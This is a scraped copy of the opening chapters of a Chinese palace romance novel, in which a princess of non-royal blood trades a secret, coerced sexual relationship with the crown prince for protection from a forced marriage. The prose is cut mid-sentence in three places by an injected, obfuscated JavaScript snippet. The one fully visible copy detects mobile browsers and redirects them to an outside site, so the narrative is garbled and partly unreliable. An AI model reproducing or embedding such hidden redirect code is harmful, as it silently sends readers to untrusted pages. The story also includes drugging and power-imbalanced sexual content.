《委身阴湿皇兄后》 1. 第 1 章 “淳和公主，难道你还打算抗旨吗？” 斥责声落下，坤宁宫内瞬间鸦雀无声。 宫人们蓦地屏住呼吸，放轻手脚，有胆大的瞧了瞧座上严词厉色的严嬷嬷，又转过头，望向宫殿中央那道单薄倩影。 被贯下这么大一顶罪名，萧棠竟丝毫不见慌乱，款款起身向座上的皇后行礼：“请皇后娘娘明鉴，儿臣不敢。” 高座上雍贵的美妇人一言不发，身边的严嬷嬷继续道：“陛下金口玉言，已经答应了回屹可汗的请求。淳和公主若无心抗旨，此刻便不该再来坤宁宫叫人为难。” 严嬷嬷一边说着，一边观察着萧棠的神色。 没得到皇后亲口的免礼，少女便自觉地继续保持着垂首欠身的姿态，长睫低垂，脸上没有半分怨怼，模样柔顺极了，叫人想挑都挑不出刺。 有文人惊鸿一瞥后作诗诵淳和公主玉容如花秾，如今萧棠已逾十七，出落正好，便是衣着简素、不施粉黛，也掩不住那副明艳如海棠的好颜色。 入京拜见天颜的回屹可汗就是对这般绝色一见钟情。他打听到淳和公主是江南人士，直接向皇帝请旨，想让淳和公主在明日的朝贡会上为他介绍大邺赏赐的江南丝织等物。 这介绍是虚，找个由头提出和亲才是真。皇帝没有说破，却答应得十分爽快，圣意昭然若揭。 淳和公主乃陛下义女，并非天家血脉，父母俱亡，亲族无靠，连让从中斡旋此事的人都没有，阖宫上下谁还不知道她远嫁和亲已经是板上钉钉。 偏生淳和公主不死心，走投无路后又求到了坤宁宫。 皇后不方便说的话，严嬷嬷却能直接挑明：“回屹可汗昨日既已亲口过问淳和公主的名姓，公主还是此时还好好准备明日的朝贡会比较好。” 萧棠却似是没听懂话外的逐客令。少女抬起睫毛，乌湛湛的眸子忽略掉她，直直望着皇后，轻声问：“他想要，儿臣便必须得答应吗？” 没料到她会这般问，别说严嬷嬷脸色大变，连皇后都不由一愣，定睛望向她。 “陛下宽宏大量，可儿臣却怕那外邦人狼子野心。他想要儿臣，儿臣便得奉上，倘若他日后得寸进尺，想要的不只是一个女子，岂不是……” 话音未落，四下皆是一惊，几道声音同时斥她：“大胆！” 萧棠垂眸，自觉拜伏在地：“儿臣失言，请皇后娘娘降罪。” 她跪下时更显得身形弱不胜衣，弯下的细颈不堪一折。或许是因为最近常常称病足不出户，雪肤白得愈发如剔透的玉。 如此纤弱温顺的模样，真叫人看不出刚刚那番话是出自她之口。 半晌过去，皇后终于悠悠开口，声线和缓，瞧着并未动怒：“你身子不好，先起来吧。” 待萧棠起身，皇后又出了声，却不是在同她说话：“太子那边可有口信，明日朝贡会能否归程？” 萧棠轻屏住气息。 “此次涿州沙灾事大，太子几日不曾来信，怕是分，身乏术。”严嬷嬷连忙补充，“不过太子纯孝，知道娘娘近来喜欢鲛绡纱，立即叫人送来孝敬您。” 皇后默了默，道：“呈上拿给淳和吧，本宫久居深宫，用不上这些新鲜。” 很快，托着鲛绡纱的玉盘就被宫女呈到萧棠面前。 萧棠不受宠，没有见过多少世面，却知晓那波光粼粼、薄若蝉翼的纱帛一尺千金，价值不亚于贡品。 皇帝一年到头给潇湘殿的赏赐，恐怕也不及这一回的手笔。 严嬷嬷走到她身边，压低声音：“皇后娘娘的意思，公主可明白了？” 萧棠紧紧抿住唇角。明白，怎么不明白。 皇后不会无缘无故赏她这么贵重的东西。这分明是不准备帮忙，又想面子上过得去，就打算用这些赏赐把她打发出去，也堵了宫中悠悠之口。 明知如此，她还不能不感激涕零。宫中贵人一向恩威并施，不受恩，便只能受威了。 “公主还不谢恩，莫不是对皇后娘娘心存怨意？” 果不其然，见她没有及时叩拜，严嬷嬷面色一凉，一刻也不等地唤人进来：“来人，送淳和公主回殿，好好看着公主，明日朝贡会之前不许公主——” “太子殿下到！” 太监尖细的通报声猝不及防打断了殿中动静，众人俱是一惊，原本押着萧棠的宫人更是立即松开了手。 严嬷嬷最先反应过来，连忙带领着宫人们毕恭毕敬跪了一地。偌大的大殿中央只剩萧棠一人站着。 身后传来不紧不慢的步伐声，一点比一点清晰。萧棠回过神，薄肩不由轻绷。 步伐由远及近，那道颀长挺拔的身形最终站定在她身边，与她隔着刚刚好半尺。 不远不近的距离，落在任何人眼中都再正常不过，却足够让萧棠闻见他周身檀香沉沉。熟悉的味道织成一张细密无形的网，轻而易举将她笼罩其中。 男人身着云纹织锦华服，腰束玉带，外披鹤羽大氅。哪怕她垂首时看不见他的脸庞，光瞥见那周身气度，也叫人忍不住叹服其神姿高彻，如瑶林玉树。 当今太子魏珣有清正君子之风，德才兼备，言为世范，行成士则，天下文人无不敬奉追随。 外边下着大雨，他却衣不沾湿，仪态齐整从容，举手投足间像是从君子颂中走出来的人物。 “母后万安。”魏珣嗓音似清泉流泻，“儿臣方才入京面圣，来不及通知坤宁宫中。” 皇后急问：“怎么这么突然，是不是涿州出了什么岔子？听你舅舅说此次确实棘手，莫非——” “沙灾已定，儿臣入宫是为另一件要事。” 萧棠年前早听闻燕京周边沙灾肆虐，离这儿三个时辰外的涿州尤为灾情凶恶，牵连到了天子脚下，连燕京都人心惶惶。 朝廷连派了四五位重臣无济于事，惹得龙颜大怒，险些过不完一个安稳的年。 太子殿下临危受命不过两月，竟这么快就力挽狂澜，解决了这个烫手山芋。 萧棠望着魏珣侧颜，好巧不巧，男人也忽地侧眸看向她。 视线交汇，那双墨玉似的瞳仁平静无澜。 萧棠低下脸避开魏珣的目光，轻声道：“皇兄安好。” 她跟魏珣没有半分血缘之亲，但因为封了公主，也跟着其他的公主皇子一起唤魏珣一声皇兄。 宫中不少人背后说她有意攀亲沾故，太子殿下却从未否认过这个称谓，对她的态度与对其他兄弟姊妹也无异。 魏珣语调温和：“许久不见皇妹来坤宁宫了。” 话音一落，萧棠便觉得自己的脸快要被严嬷嬷盯穿，像是生怕她又不自量力求到太子殿下面前。 “娘娘惦记着我，特地召我来受赏。” 萧棠侧过身对着皇后又行一礼，自觉道：“多谢娘娘恩典，臣先行告退，不叨扰您……” 魏珣仍在看她，少女顿了一下：“还有皇兄。” 最后两个字，她不由自主放得很轻。 短暂的兄妹寒暄到此为止。没看魏珣有何反应，萧棠快步退了出去。 她一走到檐下，就见先前押着她的两个宫女围了上来。 只是没等那两人走到她身边，背对着她们的魏珣忽然开了口。 “雨天路滑，”男人低缓的声线自不远处传来，如落玉相击，敲落在人心尖，直叫萧棠心中打鼓，“吴年，送淳和公主一程。” 小太监连忙应声，走到萧棠身边，麻利地撑开随身的竹骨伞。 那两个宫女见状，你看看我，我看看你，没 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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下巴被冰凉修长的指节捏住，男人抬起她的脸。 萧棠望向他，乖巧地唤道：“皇兄。” 魏珣垂眸睨着她，表情看不出喜怒，嗓音低而平淡：“怎么不直接来求我。” “沙灾严峻，我不敢随意打扰皇兄大事。” 男人的目光深不可测，萧棠心头纷乱，生怕被他看出些端倪，别开脸，柔声岔开话题：“吴年今早才说皇兄会回来，我原本想去过坤宁宫后再出宫等着。皇兄送来的东西，我都已经按吩咐穿戴整齐……” 魏珣松开手，意味不明地低嗤了声：“脱了。” 车厢里立即安静了下来。 太子殿下的命令从来不说第二次，也不需要说第二次。 无论再荒唐，她都只有照做的份。 绯红迅速自脸颊攀上白玉似的耳朵，哪怕已经不是第一回，萧棠此刻仍旧羞到了极点，指尖缓缓搭上衣襟，半晌没解开，止不住地发颤。 悬着的灯挂摇晃，烛光净如银，照映着四下陈设。入眼处皆雅致清淡，不沾染半分生人气，唯有从雪白毡毯上长出的这枝海棠沾了露水，娇艳欲滴。 潇湘殿一向用度平常，萧棠不想引人注目，哪怕魏珣赐过她许多绫罗绸缎，她平日所着衣裙依旧都只是普通的料子。 谁也不会想到那层层素锦下的小衣会暴殄天物地用鲛绡纱织成，一尺千金的稀世纱帛柔软地贴着，隐约透出晶莹剔透的白。 马车外风雨肆虐，声响嘈杂，马车内，与她本该有云泥之别的男人衣冠楚楚，闲适倚着背靠，指节抬高她的下巴，视线往下一寸寸扫过那片雪腻酥香。 2. 第 2 章 灯挂噼啪刺啦接连不断，车厢内太过静谧，本该细微得难以辨别的声音在此时格外清晰。 萧棠长睫飞速扇动，避开对上魏珣的眼睛。然而她还是能清清楚楚地感觉到魏珣的视线划过她的脸，脖颈，锁骨…… 那目光如有实质，令她像被火星跟冰粒交替刺过，烫得近乎消融。 年前她先装了好久的病避着魏珣，接着又等来魏珣接手沙灾之事后离京，算下来两人已有快三个月没见过。 直到今早吴年来潇湘殿告诉她魏珣已准备返京的消息，顺便捎带上了太子殿下给她的赏赐。 魏珣一时兴起给她送过不少稀奇古怪的玩意，萧棠自以为早已习以为常。然而打开檀木盒看见这件小衣一角，她还是一下子就被惊得面红耳赤。 太子殿下私底下的趣味，远比她想象的还要恶劣得多。 然而如今除了来求魏珣，萧棠也再别无他法。历朝历代前去那片蛮夷之地和亲的宗室女都不得善终。 回屹不止时局动荡，其风俗更是骇人听闻，什么父死子继、兄终弟及，嫁过去的中原女子看似身份高贵，实际上在那儿连个人都算不上，形同被买卖转手的器物，不过几年，身上便没剩下几块好肉。 她不愿意。 好不容易在燕京如履薄冰地活在现在，眼见马上就能自由，她不想落得那样的下场。 魏珣仍不开口，少女轻吸了一口气，手指攥紧垂落的衣裾，欲要主动开口。 ——“砰！” 车轮毂忽然发出巨响，马车猛烈晃动，萧棠眼前一花，只觉后背被一股无形的大力猛推了把，直直向前栽去。 若非男人伸手扶住了她的肩头，只怕她会直接一头扑到他腿间。 她还惊魂未定，就听见马车外吴年紧张告罪：“殿下，方才是大雨冲破了路，车夫没看清，可有惊扰到您？” 萧棠生生咽下了到嘴边的惊呼。 魏珣的掌仍落在肩上，她借势撑着地毯稳住身子。两人间原本就不远的距离忽的一下拉得极近，萧棠的上半身几乎完全贴着他华贵的衣袍下摆。 少女的裙裾与男人的衣边交叠在一起，松散垂下的鲛绡纱抚过鹿皮靴面，墨黑的鹿皮靴上覆过一层朦胧的柔光。 哪怕有一帘之隔，哪怕清楚吴年不会窥见车厢内一丝一毫，萧棠瞧见如此情形还是不由窘迫。想蜷过身，刚一动，肩上的力道就重了一点。 萧棠不再动了，乖乖维持原样。 魏珣的视线移开，指节却一下没一下地轻轻摩挲着她肩头的肌肤。落在肩上的青丝被抚得凌乱。 明明是极为亲密无间的动作，他却做得很随意，不像调，情，倒像平日闲来无事时把玩常戴的那串佛珠。 “无事，路况如何？” 男人的指节犹如玉雕，修长，冰冷，指腹却覆了一层薄薄的茧，抚过时能感觉到若有若无的粗粝。少女的呼吸声不由随着他手上的动作紊乱起来。 始作俑者却仍旧十分平静。 等吴年汇报完路况，他道：“派人去一趟安抚司。” 萧棠只知道安抚司是跟赈灾有关的官衙。 沙灾之后若逢大雨，最怕水泄土崩，后患无穷。为了预防燕京以及周边涿州等地洪灾，安抚司这时候必须得打起十二分的精神。 燕京城四衢八街，难免有顾及不周之处，若不闹出事故，惹得圣上追究，大多人都睁一眼闭一眼，秉承着多一事不如少一事的心，魏珣却不同。 对百姓而言，魏珣确实是个极好的英明储君。 但对萧棠而言……此时肩头的痒意连成一片，明显得无法忽视，魏珣却似未察觉她的异样，还在继续若无其事地吩咐着帘外人。 不知道多久过去，外边终于恢复了安静。马车继续行驶，魏珣收回手，视线重新移回了她的脸上。 萧棠的手臂聊胜于无地遮起身前，脸已经红得快滴血：“皇……” 此情此景，剩下那个字实在没脸再说出来，最后都含糊成听不见的音节。 “你的，还是吴年的主意？” 完全没想过的问题。萧棠一愣，抬头望向魏珣。 视线交汇的那一刻，电光石火之间，她忽地想清楚了关窍。 今早吴年拿给她此物，旁敲侧击提醒她去迎接太子，她虽有许多心思，却从未怀疑过真假。 魏珣不是没有叫她换上那种穿不出去的衣裳。他在世人眼中是处事清介、庄重疏远的玉面菩萨，在她面前却早已懒得掩饰骨子里的恶劣凉薄。 赠她如此名贵的纱帛，却专门做成如此轻薄于人的式样，萧棠知道魏珣能做得出这种事。 可听魏珣的言外之意，这式样不是他的吩咐，是吴年擅自揣度太子殿下的心思，让她这般讨好魏珣。 就如同一年前，吴年默许被下药的她误闯入太子院中。 在魏珣眼里，这全都像是她刻意为之的引，诱。 意识到这一点，萧棠的脸颊骤地滚烫。她匆匆拢上衣衫遮掩好，往后挪着解释：“不是我——” 话刚说出口，她从一旁铜镜中瞧见了魏珣眼底玩味，像是被人当头浇下一盆冷水，瞬间清醒过来。 这般阴差阳错的误会，费尽口舌解释又有什么用，不过叫太子殿下觉得她心口不一。 可让她承认，她又实在说不出口。 唇瓣嗫嚅了一会儿，萧棠别开脸，紧紧捏着衣襟，迟迟没说出句所以然。 一阵凉风吹过，冷意顺着帷帘缝隙争先恐后涌入。少女的脸颊飞红若霞，分不清是冷的还是羞恼的。 答案已经显而易见，魏珣道：“过来。” 攥着衣襟的手指一下子用力得发白，萧棠不知道他又一时兴起要做什么。 但太子殿下的命令向来不容违背，饶是她再忐忑，也不得不期期艾艾地移了过去。 刚到他身边坐下，魏珣便忽地侧过身。男人修长的身影覆了过来。 她下意识往后蜷缩，腰肢却被不由分说地搂住，紧接着便压下一阵厚重的暖意。 对男人来讲正正好好的鹤羽大氅披在她身上实在太过宽大，羽翎间涌出了几缕若有若无的檀香，暧昧不明地拂过她的脖颈。 世间罕见的金銮鹤羽驱散了周身寒冷，萧棠心头紧绷的弦骤地一松。 魏珣不计较，她自然识趣，倚到男人肩上，又轻又柔地道：“多谢皇兄垂怜。” 头顶上响起的声线意味难辨：“就会这一句？” 萧棠哪里想得出多余的好听话，就是想起来，对着魏珣那张清冷得似是没有七情六欲的脸庞，也根本一个字都说不出来。 贝齿碾过唇瓣，她没有吭声，柔白的指尖却前伸过去，轻轻勾了勾男人腰间月白滚金的束带。 足足一年，她已经学会了有求于太子时应该怎么做。 马车正好停在宫外某处看似并不起眼的宅院门前。太子居东宫，鲜少有人知道他在宫外还有一处私邸。 这处宅邸的装潢与东宫大相径庭，红幢翠盖，香尽满城风。而在此处的太子殿下，亦与东宫那位光风霁月的储君截然相反。 庭竹密密深深，簌簌作响，掩去猛烈拍打的疾风骤雨。素来温和的男人常年拉弓骑马，并非旁人想象中那般文弱静敛。 “殿、殿下，”灯火摇晃，她的声气也跟着断断续续，“我同回屹和亲之事——” “专心。” 不轻不重两个字，把萧棠所有想问想说的话都堵回去。 许久未有纾解的男人不知轻重，着实令萧棠难以招架。桌案上的杂物被晃得散落一地，她都不记得自己什么时候昏死过去，又什么时候重新醒了过来。 一睁开眼，最先袭来的便是难言的酸软，萧棠缓了好半晌才终于有了点力气，撑着丝衾勉强坐起身。 绣着衮龙纹样的床幔引入眼帘，平常纤尘不染的地方如今乱得一塌糊涂，足以窥见先前的情状有多教人脸热。 身旁不知何时空了，一寸千金的鲛绡纱被撕开扯裂，随意扔在榻边。 侍女早已等候多时，听见动静连忙迎上来，恭敬地道：“姑娘，奴婢伺候您更衣洗漱。” 邸墙之内，无论是跟随魏珣到此张罗的宫侍，还是一直在这儿伺候的仆婢，都绝口不提她的身份，只含糊地称一声“姑娘”。 萧棠轻应。她浑身乏软，乖乖任由着侍女忙前忙后的摆布，换上崭新的淡粉缎裙。 因着她在此处折损了太多件衣裙，每回一来，不需要吩咐，下人便会颇具眼力地在旁边备上新的。 她先前装病躲着魏珣，为了装得更像回事，有意少吃几口，腰肢清减了些，衣裙穿上身竟也正合尺寸，分毫不差。 缎裙也许是在魏珣的衣裳边放了一段时辰，沾染了几分他素日的味道，清冷而熟悉的焚木檀香随即扑鼻而来。 太子少时受得道高僧赏识，在护国寺习过佛法，入朝为政后也一直保留着焚香诵经的习惯。 经年累月下来，拂袖之间都带着旃檀气息，矜贵凛然，不可冒犯。 萧棠低垂下眼，轻声提醒侍女：“避子汤呢？” 似是没料到她会主动问起，正在绾发的侍女愣了一下，才命下 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“皇兄，”少女膝行到他脚边，手竟大着胆子去抱魏珣的腰，下巴也顺势枕在他膝上，嗓音楚楚，“阿棠方才做了一个噩梦，醒后独处于室，心头恍惚，还以为梦已成真……” 她轻声喃着传闻中宗室女远嫁回屹后种种可怖的场景，有几分是装出的可怜，也有几分是当真惧怕。 魏珣任由她亲近着，视线却似乎还落在那密函上，也不知道将她的话听进去了几分。 “阿棠孤身一人，若无皇兄庇护，在深宫中便如履薄冰，时时心惊胆颤。” 察觉到男人的目光上移，落在她的脸侧，萧棠低垂的眉眼愈发的轻而哀愁，指尖攥住他腰际衣料，语气柔顺极了：“傍晚的朝贡会，皇兄会同阿棠一起去吗？” 话音落下，一片安静，她的心也跟着提了起来。 顷刻后，魏珣伸手撩开她散落在密函上的发丝，不咸不淡地道：“朝贡会搁置，不必去了。” 萧棠愣住。 她想过魏珣可能命人帮她周旋，却没有想过处理得这般干脆。 她回过神，连忙歪过脸，像只猫似的蹭了蹭魏珣的手，依赖的姿态真切了几分：“怪阿棠没用，招惹来那么多是非，最后还得麻烦皇兄解决，幸亏有皇兄，不然……” 后颈突然被捏了一下，未说话的话变成一声低嗔。 ……昨夜三番五次便罢，还来？ 然而刚刚承了魏珣的好处，就算想翻脸不认人也不能挑这个时候。萧棠攥紧了他的寝衣，乖乖地受着。 她的乖顺丝毫没有勾起太子殿下怜香惜玉的心思。男人毫不收敛力道，手掌往下，正好碰到她肩颈后被宫女弄出的伤处。 萧棠吃痛，忍不住轻呀出声。 魏珣不但没收手，指节还摩挲了下伤口：“疼？” 简直是明知故问。萧棠低低道：“很疼。” 头顶上响起声短暂的轻嗤：“那在坤宁宫时怎么不说。” 萧棠一愣，唰的抬眸望向男人沉静的脸庞。 她被宫女押住时，他明明还没有来。 魏珣却似乎只是随口一问，并不在意她的答案。他收回了手，吩咐跪在旁侧的侍女：“找些祛疤的药膏。” ………… 纵使身子不支，萧棠也仍旧在辰时前回了宫。 潇湘殿大门紧闭，寂寥幽静，只在不起眼处悄悄开了一扇暗门。贴身侍女瑞雪早已等候多时，一见着她便急匆匆地迎了上来：“殿下，和亲之事如何了？” “别跑这么急。”萧棠握过她的手，轻声解释，“魏珣答应了帮我，不必太担心。” 瑞雪松了口气，可很快又面露忧色：“殿下既又去求了太子，那先前那些避着太子的算计，岂不是都统统作了废……” 萧棠伸手抚上颈后的伤口，低声道：“作废了也罢。” 她后怕地想，太子殿下手眼通天，若真要查她，她那些小动作想必瞒不过去。 万幸魏珣对她并不上心，并没发觉她日日都在阳奉阴违。 3. 第 3 章 瑞雪继续问：“那殿下往后还要继续在太子面前装病吗？” “不必了。” 从前是她天真，足不出户躲着魏珣有什么用。 说到底，她及笄未嫁，又没有亲族相护，在这天潢贵胄遍地的燕京城便如一叶扁舟，身不由己。一旦她招惹上了麻烦，除了去求魏珣，还能去求谁？ 躲了那么久，兜兜转转，还是不得不主动匍匐在太子榻前，委身以求庇佑。 装病不行，她得寻别的法子。 萧棠步入内殿。汤桶里已铺上新鲜的花瓣，正泛着热腾腾的雾气。 每次她从太子私邸回来，都要重新沐浴更衣一遍。 瑞雪为她褪下层层锦缎，瞧见那雪白皮肉上深深浅浅的痕迹，忍不住嘶了口凉气：“太子未免太过分了一点！” 她自幼跟在淳和公主身边，清楚萧棠肌肤有多细嫩娇弱，稍微磕碰便会留下印子，更何况这遍体的斑驳暧昧，也不知道要养上几日才见好。 “嘘，隔墙有耳。” 一根纤细的手指挡住她的嘴巴，萧棠并未恼，轻声道：“我自己来吧。你出去取些新的银丝炭，顺便打听打听朝贡会搁置的事情。” 瑞雪自知失言，愧赧地应喏退下。 转眼只剩萧棠一人。寻常的贵族女子身边至少有四五个侍女伺候，她却早习惯了亲自梳洗打扮，慢吞吞地沐浴，擦拭，用太医院特制的药膏覆过身痕。 虽然不让瑞雪说那些大不敬的话，可萧棠也不免在心头抱怨，有些人瞧着人模狗样，怎么一到夜里下手便又狠又重？ 万幸的是魏珣并不重欲，见她不频繁，一月约莫就一两回。 若是碰上像沙灾这样的大事，他忙得抽不开身，更是两个月都不会想起她。 就算她主动缠他，也顶多是一夜的事，天一亮，他定会克制得点到为止，从不流连。 这般断断续续的相会，竟然已经保持了一年有余。 外殿忽地传来动静，萧棠回过神，擦干净微湿的发梢，换好衣衫，快步走了出去。 瞧见来人的模样，她原本还算松快的心不由得一紧。 无事不登三宝殿，严嬷嬷可是坤宁宫的掌事，昨日都还懒得拿正眼瞧她，怎么会亲自会来潇湘殿这般偏僻的地方？ 少女拢过衣襟，将颈间遮得严严实实后才走了上去，柔柔笑道：“嬷嬷安好。” 伸手不打笑脸人，纵使严嬷嬷并不喜萧棠，瞧见少女轻笑吟吟的样子，脸色也不由缓了缓。 但想到来意，她眼神重新凌厉，一扫殿中景象。 萧棠心头咯噔了一下。 还好她向来谨慎，东宫送来再好的器物都拿去压了箱底，偶有几件放在内殿，外殿还是一律从简。 饶是严嬷嬷眼神老辣，也瞧不出这潇湘殿的陈设有什么不对。 也不会知道昨日皇后赏赐时才会赐给她的鲛绡纱，早已被太子殿下拿来做了她的小衣。 她佯装疑惑：“我刚刚沐浴更衣，打算梳妆准备出席朝贡会。嬷嬷前来所为何事？” “公主难道还不知道吗，”严嬷嬷道，“回屹可汗昨夜在馆驿酒后犯浑，挑衅使臣，还对陛下出言不逊，惹得陛下大怒，朝贡也只得推迟。” 这么天大的变故！萧棠面上不显，心下却着实一震。 清晨时男人闲适的模样忽地闯入脑海。他倚在青灯旁随意地翻着密函，看起来一派云淡风轻，与世无争。 事关两国纷争，太子殿下知晓多少，又谋划了多少？ 她不敢细想，只是发梢上的水珠泛起一缕淡淡的寒意，钻入后颈之中。 严嬷嬷还看着她，萧棠平复好情绪，低头道：“潇湘殿消息闭塞，多谢嬷嬷特来告知。” 严嬷嬷：“淳和公主，恕老奴直言，你也知道圣意如何。那可汗与你的亲事是作了废，但可汗的弟弟效忠大邺，有望取而代之，陛下也愿意把你另配于他——” 少女的指尖扣住掌心。 “还多亏太子替你说了一句情，此事才作了罢。” 萧棠险些以为自己听错：“太子？”替她说情？ 严嬷嬷不错过她脸上神色一丝一毫的变化：“公主当真半点没预料到，也没私底下求过太子殿下？” 她专门来此，正是为了问清此事。 萧棠的身份何其微妙，沾上了都说不清。 皇帝当年北上清君侧，萧棠的父亲功不可没。萧父战死，皇帝大恸，当着众人的面立誓收遗孤萧棠作义女。后面登基一统，萧棠也自然而然成了异姓公主。 可天家薄情，随着当年那一批宿将功臣流放的流放、抄斩的抄斩，萧父当年的同僚被抄家审问，几桩关于萧父的旧事也跟着翻了出来，直指他那时与叛党联系，疑有不臣之心。 斯人已逝，此事不好追究，亲口封的公主身份也不好再罢黜，可谁还不知道皇帝心里有了疙瘩。 朝廷上正是多事之秋，太子忽地替萧棠说话，皇帝这般多疑，若是受人挑唆，怀疑太子与萧父的同僚、那群抄家的叛党有干系可怎么办？ 这淳和公主瞧着柔弱可欺，可严嬷嬷混迹宫中多年，一眼就认定萧棠绝对是个有手段的，指不准私底下如何卖弄算计。 萧棠也只觉意外：“嬷嬷误会，我的确不曾求过太子殿下，更不曾预料他会帮我说话……” 前半句假，后半句却是真。 她知晓自己的身份窘迫。魏珣想帮她周旋，大可派幕僚手下，怎会亲自替她说情？ 严嬷嬷眯了眯眼，咄咄逼人：“淳和公主，皇后娘娘特地差了老奴前来问询，若你有半句假话，后果可想而知。” 萧棠水润的桃花眼直直望向她，反问道：“那嬷嬷觉得，前朝的事，我一介女流何能左右？” 严嬷嬷一顿。 第二回了，她第二回被一个还未满十七的小姑娘噎得不知道说什么好。 后宫干政是大忌，萧棠问得轻巧，可她再多答一句都是错。 冗长的寂静过去，萧棠话锋一转，主动给了台阶：“太子殿下宅心仁厚，惦念义妹，我对娘娘与太子的恩情感激不尽，若嬷嬷见着太子，还麻烦替我谢过他。” 这一番话下来滴水不漏，把严嬷嬷剩余的话全堵回了嗓子眼。 严嬷嬷张了张嘴，欲言又止了半天，最后只挤出一个“好”字，沉着脸甩手而去。 萧棠目送着她回坤宁宫复命。 直至老妪的身影渐渐变小，小成一个看不见的黑点，少女才迟迟地收回了目光。 严嬷嬷前脚刚走，瑞雪后脚便端着银丝炭小跑了回来，风风火火带来了同样的消息。 魏珣在众臣前说她是忠臣遗孤，安置京中可抚民心。 不止是替她说情，更是在替她父亲洗冤。 “……惜薪司那群人也当真是踩低捧高的货色，一日一副嘴脸。昨日奴婢去取物什时一个个都不耐烦，话里话外就是嫌弃公主体弱多病。今日一听说太子帮了公主，全都主动 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15715984|173709||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 跟奴婢搭话呢。” 瑞雪哼道：“没心肝的狗奴才们，奴婢哪会跟他们多说一个字！” 瑞雪绘声绘色地同萧棠讲起来那群人如何谄媚，萧棠对宫中这些人情冷暖早已看惯，心下倒无波澜。 她只在意：“如今是阖宫上下都知道此事了吗？” 瑞雪干脆地点了点头，又道：“对了，奴婢回来时还碰见了吴年公公，他特地问殿下是否知晓了此事。” 吴年长袖善舞，又很关照她，主动提起此事，就是在提醒她还要再去谢过魏珣。 道谢总要有些讲究，萧棠想了想：“正好我苏绣的功夫还未生疏，你去我的妆奁里翻一翻，拆些上好的针线。” 她吩咐完，却见瑞雪还站在那儿一动不动：“怎的了？” “殿下，奴婢自知不该多嘴，但是、但是，”瑞雪支吾了半晌，最后还是没忍住问道，“殿下之前说打算与太子撇清干系，那现在……” 萧棠静了静。 “太子殿下对我有恩，我自然该真心实意地感谢他。” 她垂下眸，轻轻摆弄着指尖：“但用这种法子求人，不是长久之计。” 哪怕她并非天家血脉，未上玉牒，可到底是以公主身份在宫中长至及笄，也跟着称魏珣一声皇兄。 就这一点，就足够让人大作文章。 太子殿下是克己复礼的储君，是天上皎皎月，远山皑皑雪，怎容丝毫淤泥沾身。 若有朝一日东窗事发，只可能是她千夫所指，万劫不复。 可她不想死，她想要离开燕京城，离开这些是非纷争，不再受人觊觎，也不再供人消遣取乐。 要怪就怪一年前去行宫避暑时，有位世子瞧上了她。她中了药不愿屈从，稀里糊涂求到魏珣面前，上了他的榻，阴差阳错与他有了一段见不得光的关系。 太子殿下是天之骄子，指缝里漏出的一点东西都足够护她安稳，令她受宠若惊。 代价就是他要她做什么便做什么，他想怎么逗弄她便怎么逗弄她。 萧棠心知肚明，对魏珣而言，她与那些拿来教皇子晓事的宫人其实没有任何区别。 可她当初还不知自己中的是什么药，瑟瑟发抖求到他面前时，是真把他当做了太子哥哥。 她惯不受宠，在宫中宴席总位列末席，没有靠近魏珣的机会，每回都只能远远瞧见他颀长清俊的身形。 大多数时候，都只能看见他的背影。 还能听身边人说他总角之年巧胜三军的传奇事迹，说他是燕京城万千姑娘的春闺梦中人，说他温润仁善，对几个庶妹都很好，会为她们精心准备生辰礼。 那年长宁公主生辰，东宫送了一对西域寻来的不倒翁，用最上等的红玛瑙与祖母绿镶嵌，闪闪发光，憨态可掬，比席上其余的生辰礼都要别出心裁。 宴后，长宁公主追出去同魏珣道谢。 长宁公主一口一个“太子哥哥”，魏珣笑着应下，揉了揉她的脑袋，温声叫她慢些，小心摔了。 她在一堆人中探长了脖子去瞧，想看清楚那一高一低的身影，还有魏珣脸上温和的笑意。 那是太久之前的事。 萧棠偏过脑袋，望向萧瑟飘摇的窗景。 久到她都快忘了，她曾经最想要的生辰礼，就是太子哥哥也能摸一摸她的脑袋。 “到了下月，我便及笄一年了。” 少女的声音虽轻，却分外坚定，“在那之前，我一定要跟他断干净的。” 4. 第 4 章 接下来几日，萧棠寸步不离潇湘殿，只陆陆续续从瑞雪口中听说回屹来使已经乱作了一团。 那可汗的弟弟与千里外回屹本部的人马里应外合，借机生变，取代了原来可汗的位置，又将原可汗押到宫中给皇帝赔罪，这才平息了天子的怒气。 至于原来的可汗是否真是故意醉酒犯浑，还是遭人设计，宫人三缄其口，不敢多加议论。 朝贡会重新举行，萧棠仍旧称病缺席，未有现身。 由于先前那一出出插曲，她低调些也正合了今上的意。坤宁宫为了面子上过得去，还大手一挥送来了不少冬虫夏草，美其名曰让她好好养着身子。 来送药材的内侍宫成列出入，惜薪司、御膳房的人瞧了，也都锦上添花派了人手来问候淳和公主，潇湘殿一时间门庭若市，比之前热闹数倍。 与之相反，常常照拂潇湘殿的东宫却不知怎么没了动静，吴年再也未来过，魏珣也并没有再召她的意思。 瑞雪觉得奇怪，不免想东想西，在萧棠身边念叨。 萧棠：“我能多休息几日再应付太子，还不好吗？” 萧棠对朝堂了解不多，但也知道前朝往往牵一发而动全身，她父亲牵连了许许多多桩旧案。 况且皇帝偏宠贵妃与幼子，魏珣的储君之位虽然一直稳当，却并非全然无患。 魏珣晚些见她，正好给她留足了时间，让她能够好好绣一个香囊以作答谢。 